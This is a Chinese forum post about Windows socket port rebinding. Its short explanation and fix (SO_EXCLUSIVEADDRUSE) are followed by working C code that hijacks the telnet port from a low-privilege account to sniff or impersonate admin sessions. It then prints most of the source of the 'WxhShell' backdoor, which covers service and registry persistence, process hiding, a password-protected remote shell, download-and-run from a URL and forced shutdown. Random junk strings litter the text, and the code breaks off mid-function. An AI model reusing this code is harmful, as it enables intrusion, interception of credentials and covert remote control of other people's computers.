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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ] ={Hq9d@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2B;QS\e"  
?YO%]mTP  
  saddr.sin_family = AF_INET; iI7~9SCE  
UJ:B:hh''  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY);  j C?  
(0S7  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l<?wB|1'  
NBX/V^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 *Yw6UCO  
R#M).2::  
  这意味着什么?意味着可以进行如下的攻击: 5$X{{j2  
`314.a6S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5JXLfYTUI  
(WvA9s{/  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) aT#|mk=\  
0 M?}S~p]  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 dGe  
CS49M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  yk/XfwQ5  
%+~0+ev7r  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 +L6d$+  
?a@l.ZM*  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 v},sWjv  
ZtDpCl_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?|\Lm3%J  
h>?OWI  
  #include M;R>]wP"V  
  #include Tx_ LH"8  
  #include R0[Gfq9M =  
  #include    oLoa71Q}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z/x~:u_  
  int main() bkTj Q  
  { Hw? J1#1IE  
  WORD wVersionRequested; m`~ Qr~  
  DWORD ret; &0ra a  
  WSADATA wsaData; FmPF7  
  BOOL val; _1ins;c52  
  SOCKADDR_IN saddr; 2X`M&)"X  
  SOCKADDR_IN scaddr; Y i`.zm  
  int err; tN~{Mt$-W  
  SOCKET s; c@`P{ 6  
  SOCKET sc; Wj&s5;2a  
  int caddsize; &n|gPp77$  
  HANDLE mt; *O~D lf  
  DWORD tid;   zPe .  
  wVersionRequested = MAKEWORD( 2, 2 ); >\ W" 3.  
  err = WSAStartup( wVersionRequested, &wsaData ); 0dW1I|jR  
  if ( err != 0 ) { vq}V0- <  
  printf("error!WSAStartup failed!\n"); J']W7!p  
  return -1; 5> UgBA  
  } gQ~4udla.  
  saddr.sin_family = AF_INET; DVd/OU  
   X9R-GT  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 \]K-<&f  
Zh@\+1]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); f+ &yc'[  
  saddr.sin_port = htons(23); |@RO&F  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 2k_Bo~.  
  { sdLFBiR  
  printf("error!socket failed!\n"); {<@~;iq  
  return -1; /.r($S g^  
  } B}W^s;h  
  val = TRUE; ?4_;9MkN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _[ x(p6Xp  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 8'y|cF%U  
  { 8Bhng;jX  
  printf("error!setsockopt failed!\n"); u8*0r{kOH  
  return -1; m N{$z<r  
  } dn Xc- <  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; +]#>6/2q  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 V47 Fp  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 @azS)4L  
WKG=d]5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 1na[=Q2  
  { E] [DVY  
  ret=GetLastError(); bpkn[K"(  
  printf("error!bind failed!\n"); 99 [ "I:  
  return -1; ;$Y?j8g  
  } 04s N 4C  
  listen(s,2); f5N~K>  
  while(1) f: R h9  
  { NoMC* ",b>  
  caddsize = sizeof(scaddr); 2}NfR8 N  
  //接受连接请求 M`(xAVl  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); sEoS|"  
  if(sc!=INVALID_SOCKET) -Jhf]  
  { *)`:Nm~y  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); {1o=/&  
  if(mt==NULL) }V 1sY^C  
  { 0t) IW D  
  printf("Thread Creat Failed!\n"); fqcyCu7Ep  
  break; hm& ~6rB  
  } ZrTq)BZ  
  } +"<f22cS1  
  CloseHandle(mt); "-a>Uj")%  
  } yH Cc@`1.  
  closesocket(s); e"v Eh  
  WSACleanup(); eu# ||  
  return 0; m'pihFR:f  
  }   '@$?A>.cj  
  DWORD WINAPI ClientThread(LPVOID lpParam) \R~Lf+q  
  { dgO2fI  
  SOCKET ss = (SOCKET)lpParam; p'H5yg3h  
  SOCKET sc; 8w{V[@QLn  
  unsigned char buf[4096]; 0xC!d-VIJ  
  SOCKADDR_IN saddr; dWI\VS9  
  long num; .8"o&%$`V  
  DWORD val; {S|uQgs6j  
  DWORD ret; +/ #J]v-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 cJt#8P  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   n1H*][CK  
  saddr.sin_family = AF_INET; lB-Njr  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); })J]D~!p  
  saddr.sin_port = htons(23); B$\5=[U  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) MFC= oKD  
  { (F @IUbnl  
  printf("error!socket failed!\n"); ]Y3ALQr!  
  return -1; zR e0z2  
  } b&LhydaJ  
  val = 100; w'UP#vT5&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |_O1V{Q=  
  { }\1V;T  
  ret = GetLastError(); 4-m}W;igu  
  return -1; 46mu,v  
  } Fr3Q"(  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) qWWy}5SOm  
  { #oHHKl=M  
  ret = GetLastError(); 'HOt?lpu!  
  return -1; blLX ncyD  
  } ztu N0}'  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ;$W|FpR2  
  { [9w8oNg0  
  printf("error!socket connect failed!\n"); l!`m}$  
  closesocket(sc); c0tv!PSw  
  closesocket(ss); d~.#KS  
  return -1; A0'Yfuie  
  } EB)0 iQ  
  while(1) p}C3<[Nk  
  { RlpW)\{j?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 jML}{>Gy8S  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 -`rz[";n  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。  6CCM7  
  num = recv(ss,buf,4096,0);  HSTtDTo  
  if(num>0) hGPjH=^EM  
  send(sc,buf,num,0); Jr#ptf"Wu  
  else if(num==0) zhFGMF1  
  break; %R}}1  
  num = recv(sc,buf,4096,0); Rrsz{a  
  if(num>0) v=|ahsYC  
  send(ss,buf,num,0); IuRKj8J)o  
  else if(num==0) XrYz[h*)!  
  break; T,k`WR  
  } q'PA2a:  
  closesocket(ss); m,-:(82  
  closesocket(sc); vh((HS-)  
  return 0 ; J.~$^-&!  
  } htIV`_<Ro  
XWK A0  
1 ,Y-_e)  
========================================================== (d@lG*K  
1;SWfKU?.  
下边附上一个代码,,WXhSHELL c\n\gQ:LQ  
S_C+1e  
========================================================== 94H 6`  
d'PjO-"g  
#include "stdafx.h" ,b2Cl[  
FLi)EgZXt  
#include <stdio.h> =EFF2M`F  
#include <string.h> ZE4~rq/W  
#include <windows.h> mlX^5h'  
#include <winsock2.h> i :@00)V{,  
#include <winsvc.h> -(~CZ  
#include <urlmon.h> K o,O!T.  
X5=Dc+  
#pragma comment (lib, "Ws2_32.lib") {5:y,=Y  
#pragma comment (lib, "urlmon.lib") Qb/qUUQO;0  
YMC*<wXN  
#define MAX_USER   100 // 最大客户端连接数 |]^OX$d  
#define BUF_SOCK   200 // sock buffer 4h?[NOA"  
#define KEY_BUFF   255 // 输入 buffer 5_{C \S`T  
wQDKv'zU1  
#define REBOOT     0   // 重启 1)H+iN|im/  
#define SHUTDOWN   1   // 关机 {i3]3V"Xp  
LY/K ,6^a  
#define DEF_PORT   5000 // 监听端口 /z`LB  
_r&`[@m  
#define REG_LEN     16   // 注册表键长度 v 6Tz7  
#define SVC_LEN     80   // NT服务名长度 !\2Xr{f  
| M4_@P  
// 从dll定义API 9>%ti&_-jt  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JuS#p5E #  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u1(`^^Ml  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); y?;&(Tcbt8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); zJOL\J'  
f8!*4Bw  
// wxhshell配置信息 le`fRq8f&  
struct WSCFG { t*~V]wZ  
  int ws_port;         // 监听端口 89@gYA"Su  
  char ws_passstr[REG_LEN]; // 口令 YqrieDFay!  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3Jf_3c  
  char ws_regname[REG_LEN]; // 注册表键名 l>Z"y\l =  
  char ws_svcname[REG_LEN]; // 服务名 *?+E?AGe  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 UOi8>;k`  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 "}Vow^vb  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >d&B:  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &V:iy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I 4 ,C-D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L slI!.(  
N\BB8<F  
}; rgJKXl;@s  
]^$3S  
// default Wxhshell configuration f9?\Q'v8  
struct WSCFG wscfg={DEF_PORT, ~A(fn:d  
    "xuhuanlingzhe", }$?x wcPU  
    1, +"'cSAK  
    "Wxhshell", n3 -5`Jti  
    "Wxhshell", V*"-@  
            "WxhShell Service", :'|%~&J  
    "Wrsky Windows CmdShell Service", l`M{Ravvn*  
    "Please Input Your Password: ", Cj#$WZga%  
  1, |gg 6|,Bt4  
  "http://www.wrsky.com/wxhshell.exe", gDa}8!+i  
  "Wxhshell.exe" =`Pgo5A  
    }; ,C1}gPQ6<  
Tq,Kel  
// 消息定义模块 }w}2'P'T  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; S=@.<gS  
char *msg_ws_prompt="\n\r? for help\n\r#>"; yyW;VKN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; .Cwg l  
char *msg_ws_ext="\n\rExit."; wsYvbI!  
char *msg_ws_end="\n\rQuit."; h(l4\)  
char *msg_ws_boot="\n\rReboot..."; ^"STM'Zh  
char *msg_ws_poff="\n\rShutdown..."; ZF!cXo7d  
char *msg_ws_down="\n\rSave to "; f .-b.nNf  
_8P0iC8Zg#  
char *msg_ws_err="\n\rErr!"; b*&AIiT  
char *msg_ws_ok="\n\rOK!"; Z9,-FO{#3-  
Nr8#/H2f  
char ExeFile[MAX_PATH]; <F{EZ Ii  
int nUser = 0; @ (<C{  
HANDLE handles[MAX_USER]; B+:/!_  
int OsIsNt; i=jwk_y  
| vL0}e  
SERVICE_STATUS       serviceStatus; pyJY]"UHVE  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 7&;M"?m&  
 Wa7-N4  
// 函数声明 MH7 n@.t  
int Install(void); nLicog)!I  
int Uninstall(void); F!(Vg  
int DownloadFile(char *sURL, SOCKET wsh); H0r@dn  
int Boot(int flag); Y@B0.5U2  
void HideProc(void); P|*c7+q  
int GetOsVer(void); ?5-Y'(r  
int Wxhshell(SOCKET wsl); K%iWUl;  
void TalkWithClient(void *cs); -j9Wf=  
int CmdShell(SOCKET sock); cNOtfn6?F  
int StartFromService(void); yq]=+X>(  
int StartWxhshell(LPSTR lpCmdLine); WR,MqM20  
KcKdhqdN-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); EIQ`?8KSR  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); &y_Ya%Z3*e  
blyU5 3g  
// 数据结构和表定义 0P i+ (X  
SERVICE_TABLE_ENTRY DispatchTable[] =  i;B &~  
{ pDqX% $^  
{wscfg.ws_svcname, NTServiceMain}, !1(*D*31  
{NULL, NULL} D y+)s-8  
}; |I \&r[J  
j.or:nF  
// 自我安装 tZ\e:AAi  
int Install(void) m'HAt~  
{ ~j3O0s<gK  
  char svExeFile[MAX_PATH]; _[F(8Q x"  
  HKEY key; I[nSf]Vm>  
  strcpy(svExeFile,ExeFile); !y_4.&C{  
=`<9N %  
// 如果是win9x系统,修改注册表设为自启动 3ScOJo  
if(!OsIsNt) { ,6VY S\a3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <OgwA$abl%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); .Nk'yow  
  RegCloseKey(key); 7]sRHX0o%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `4IZ4sPi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k0r93 xa  
  RegCloseKey(key); +q*WY*gX  
  return 0; wH]5VltUT1  
    } ,i RUR 8  
  } "qh~wKJ  
} {0L.,T~g+[  
else { =1#obB  
Aq 5CF`e{  
// 如果是NT以上系统,安装为系统服务 +%Z#!1u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); uvG' Kx  
if (schSCManager!=0) Z=R 6?jU*n  
{ -A]-o  
  SC_HANDLE schService = CreateService hufpky[&8  
  ( ICdfak  
  schSCManager, aFw \ w>*^  
  wscfg.ws_svcname, rF?gKk  
  wscfg.ws_svcdisp, [/=Z2mt A  
  SERVICE_ALL_ACCESS, d!57`bVOd  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , &ci;0P#Q  
  SERVICE_AUTO_START, Q Uy7Q$W  
  SERVICE_ERROR_NORMAL, B<$(Nb5<  
  svExeFile, ~#MXhhqB  
  NULL, 6+ UTEw;  
  NULL, ^=Dz)95c  
  NULL, !}lCwV  
  NULL, s@ 02 ?+/  
  NULL Uv)B  
  ); 7m$EZTw?  
  if (schService!=0) mP*Ct6628n  
  { w`YN#G  
  CloseServiceHandle(schService); R E0ud_q2  
  CloseServiceHandle(schSCManager);  ^t}1 $H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 9QP-~V{$  
  strcat(svExeFile,wscfg.ws_svcname); eQqnPqi-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { v`r![QpYf  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !P8Y(i  
  RegCloseKey(key); ;{lb_du2:  
  return 0; E]O/'-  
    } '[Zgwz;z  
  }  L}=DC =E  
  CloseServiceHandle(schSCManager); I|x? K>  
} gCV+amP  
} +lplQh@RB  
d%Ls'[Y^_0  
return 1; K>2M*bGc p  
} -bd'sv  
3d`u!i?/  
// 自我卸载 x?7z15\  
int Uninstall(void) v? Zo5uVoq  
{ m)l'i!Y  
  HKEY key; :y.~IQN  
8-B6D~i  
if(!OsIsNt) { =f?vpKq40  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *qZBq&7tb  
  RegDeleteValue(key,wscfg.ws_regname); i&TWIl8  
  RegCloseKey(key); W" Tj.oCUG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #=V\WQb  
  RegDeleteValue(key,wscfg.ws_regname); _I?oR.ON33  
  RegCloseKey(key); !tzk7D  
  return 0; dL]wu! wE  
  } eC3 ~|G_O  
} 'iWDYZ?  
} 8kLHQ0pmu  
else { Hp>_:2O8s  
HDO_r(i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); <KX fh  
if (schSCManager!=0) vw6>eT  
{ WES$B7y  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2kcDJ{(  
  if (schService!=0) S2jn  pf}  
  { Q7#t#XM  
  if(DeleteService(schService)!=0) { W m&*  
  CloseServiceHandle(schService); !^'6&NR#K  
  CloseServiceHandle(schSCManager); ]f~!Qk!I7r  
  return 0; >fi_:o  
  } )g?ox{Hol  
  CloseServiceHandle(schService); ]JR2Av  
  } 1'!D   
  CloseServiceHandle(schSCManager); :b0|v`FU  
} .?`8B9w  
} @#=yC.s  
NTo[di\_  
return 1; Tb:6IC7="  
} ~ o=kW2Y  
7,s5Gd-  
// 从指定url下载文件 LAFxeo  
int DownloadFile(char *sURL, SOCKET wsh) sd9b9?qiu  
{ "$/1.SX;]  
  HRESULT hr; fg7  
char seps[]= "/"; #-i#mbZ e  
char *token; WMa`! Q  
char *file; Y P,>vzW  
char myURL[MAX_PATH]; ?AO22N|j  
char myFILE[MAX_PATH]; K$l@0r ~k  
VAo`R9^D#  
strcpy(myURL,sURL); 2bOl`{x  
  token=strtok(myURL,seps); nDS\2  
  while(token!=NULL) OZ33w-X<  
  { :='I>Gn  
    file=token; yl&s!I  
  token=strtok(NULL,seps); "ql$Rz8  
  } o%!s/Z1  
naM~>N  
GetCurrentDirectory(MAX_PATH,myFILE); ~s yWORiXm  
strcat(myFILE, "\\"); aL*}@|JL"  
strcat(myFILE, file); OIK46D6?.  
  send(wsh,myFILE,strlen(myFILE),0); R.?PD$;_M  
send(wsh,"...",3,0); ~Ajst!Y7=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 3Vbt(K  
  if(hr==S_OK) ({zWyl  
return 0; UxxX8N  
else cm0$v8  
return 1; @+0dgkJ  
- ~4na{6x  
}  =W&m{F96  
D|amKW7  
// 系统电源模块 z9!OzGtIR  
int Boot(int flag) .C.b5x!  
{ _K&Hiz/'  
  HANDLE hToken; XG!6[o;  
  TOKEN_PRIVILEGES tkp; )~Gn7  
k }{o: N  
  if(OsIsNt) { .Cf!5[0E  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); *\@RBJGF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Yo|Pj  
    tkp.PrivilegeCount = 1; FJ^\K+;  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; +f%"O?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); lMH~J8U3  
if(flag==REBOOT) { *$5p,m6G  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) /+*N.D'`t,  
  return 0; r\cY R}v  
} eY-h<K)y  
else { R={#V8D~  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) E%( s=YhW  
  return 0; <5^m`F5  
} PD^G$LT  
  } Y9gw ('\w  
  else { jABFdNjri  
if(flag==REBOOT) { 4AKr.a0q  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) =j{tFxJ  
  return 0; )&O6d .  
} Mna yiJl  
else { c%WO#}r|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) xXc>YTK'  
  return 0; ?68~g<d,  
} icX4n  
} MV??S{^4  
~o/k?l  
return 1; SQhVdYU1'  
} 7r50y>  
yj@k0TWT$  
// win9x进程隐藏模块 6)p8BUft  
void HideProc(void) S>>wf:\ c  
{ g$jTP#%b  
FZW`ADq]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); nF_q{e7  
  if ( hKernel != NULL ) ]jY^*o[  
  { i]N<xcF9N*  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); U[|5:qWs  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); [u$|/  
    FreeLibrary(hKernel); i39ZBs@  
  } <i4]qO(0u  
/t< &  
return; o[}Dj6e\t  
} \|9B:y'y  
%)r:!R~R  
// 获取操作系统版本 J <;xkT1x  
int GetOsVer(void) iCA-X\E  
{ lVQE}gd%m  
  OSVERSIONINFO winfo; (9oo8&GG  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); j7MUA#6$  
  GetVersionEx(&winfo); !tt 8-Y)i  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Ws7fWK;  
  return 1; |(ab0b #  
  else Nf<f}`  
  return 0; J4"A6`O  
} e@ D}/1~=  
rAAx]nQ@  
// 客户端句柄模块 deArH5&!  
int Wxhshell(SOCKET wsl) rdd-W>+  
{ ~nhO*bs}7{  
  SOCKET wsh; K!Fem6R  
  struct sockaddr_in client; }<X*:%#b  
  DWORD myID; ?P-O4  
e"wz b< b  
  while(nUser<MAX_USER) <" nWGF4d  
{ b r Iz8]  
  int nSize=sizeof(client); Q,JH/X  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); U3z23LgA  
  if(wsh==INVALID_SOCKET) return 1; Y JMs9X~3  
bL`\l!qQx;  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Exqz$'(W9  
if(handles[nUser]==0) 7%EIn9P  
  closesocket(wsh); ZzNHEV  
else M9A1 8d|  
  nUser++; zn 0y`9!n?  
  } Q-V8=.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _AFje  
= g &  
  return 0; xT_"` @  
} |" WL   
P7b"(G%  
// 关闭 socket vD9\i*\2  
void CloseIt(SOCKET wsh) >qB`0 3>  
{ !L{mE&  
closesocket(wsh); MKvmzLh$)  
nUser--; g*My1+J!  
ExitThread(0); HEbL'fw^s  
} >!@D^3PPA  
p<H_]|7$7U  
// 客户端请求句柄 1t^y?<)  
void TalkWithClient(void *cs) ?k4Hk$V  
{ TK18U*z7J  
+B " aUF  
  SOCKET wsh=(SOCKET)cs; ~dEo^vJD  
  char pwd[SVC_LEN]; -k7b# +T  
  char cmd[KEY_BUFF]; i_Q1\_m!  
char chr[1]; s7sd(f]=  
int i,j; uP%VL}% 0  
ed/B.SY  
  while (nUser < MAX_USER) { hBX.GFnw  
gEsD7]o(=  
if(wscfg.ws_passstr) { %;h1n6=v2  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z(c SM  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); hWbu Z%  
  //ZeroMemory(pwd,KEY_BUFF); {22ey`@`h  
      i=0; L`K)mCr  
  while(i<SVC_LEN) { 0.wF2!V.  
D((/fT)eD  
  // 设置超时 )s^gT]"N  
  fd_set FdRead; nVWU\$Ft  
  struct timeval TimeOut; eA2*}"W  
  FD_ZERO(&FdRead); [[^r;XKQ  
  FD_SET(wsh,&FdRead); 0@b<?Ms9  
  TimeOut.tv_sec=8; $peL1'Evo  
  TimeOut.tv_usec=0; XrTc5V  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NR(rr.  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); USN'-Ah  
o g9|}E>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?>*d82yO  
  pwd=chr[0]; XchD3p+uB  
  if(chr[0]==0xd || chr[0]==0xa) { D*~Q;q>  
  pwd=0; w^&UMX}  
  break; PSu]I?WF  
  }  dnC" `  
  i++; D$)F X(  
    } p gLhxc:  
N?{Zrff2"O  
  // 如果是非法用户,关闭 socket 9NVtvBA  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [_xOz4`%  
} -u%o);B  
nt|n[-}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /];N1  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :RB7#v={  
*8a[M{-X  
while(1) { =v\}y+ Yh  
/_cpS q  
  ZeroMemory(cmd,KEY_BUFF); C$])q`9  
p%>!1_'(  
      // 自动支持客户端 telnet标准   ld(_+<e  
  j=0; Et*LbU  
  while(j<KEY_BUFF) { "7+^`?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dfVI*5[Z  
  cmd[j]=chr[0]; ( zm!_~1  
  if(chr[0]==0xa || chr[0]==0xd) { 1@~%LV  
  cmd[j]=0; 8i`T?KB  
  break; :%mls Nw  
  } 7YTO{E6]d\  
  j++; TTj] _R{n  
    } Q_,!(N  
L!33`xef'  
  // 下载文件 -M]/Xv]  
  if(strstr(cmd,"http://")) { iWW!'u$+I`  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); u SZfim@Z7  
  if(DownloadFile(cmd,wsh)) i`CNgScF>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N|>MqH,Bt  
  else <LBCu;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5ip ZdQ^  
  } Dy. |bUB!f  
  else { u];\v%b  
kH0kf-4\  
    switch(cmd[0]) { X J]+F  
  2i6P<&@  
  // 帮助 ^v;8 (eF  
  case '?': { Gv)*[7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); T`v  
    break; hZ<FCY,/?  
  } "0G)S'  
  // 安装 mp(:D&M  
  case 'i': { r7U[QTM%  
    if(Install()) 8_D:#i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tJ d/u QJ  
    else ri"=)]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x51p'bNy  
    break; !_o1;GzK  
    } 2V9"{F?  
  // 卸载 YL;*%XmAG  
  case 'r': { =}0>S3a.7  
    if(Uninstall()) \@Z D.d#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q,Nqv[va  
    else GZ:1bV37%  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ='eQh\T)  
    break; wjID*s[  
    } 9WoTo ,q  
  // 显示 wxhshell 所在路径 J{uqbrJICr  
  case 'p': { fEK%)Z:0  
    char svExeFile[MAX_PATH]; =1B;<aZH!  
    strcpy(svExeFile,"\n\r"); v%c--cO(S4  
      strcat(svExeFile,ExeFile); ]a~gnz&1  
        send(wsh,svExeFile,strlen(svExeFile),0); >]\oVG  
    break; 0R+<^6^l)  
    } I%{D5.du  
  // 重启 g ?% ]()E  
  case 'b': { EJ:2]!O  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); czo*_q%  
    if(Boot(REBOOT)) /4*>.Nmb,f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =cR=E{20  
    else { y3'K+?4  
    closesocket(wsh); A:sP%c;  
    ExitThread(0); v'y<}U  
    } zq^eL=%:  
    break; 4NFvX4  
    } ]ao%9:P;  
  // 关机 n)]u|qq  
  case 'd': { ug`Jn&x!  
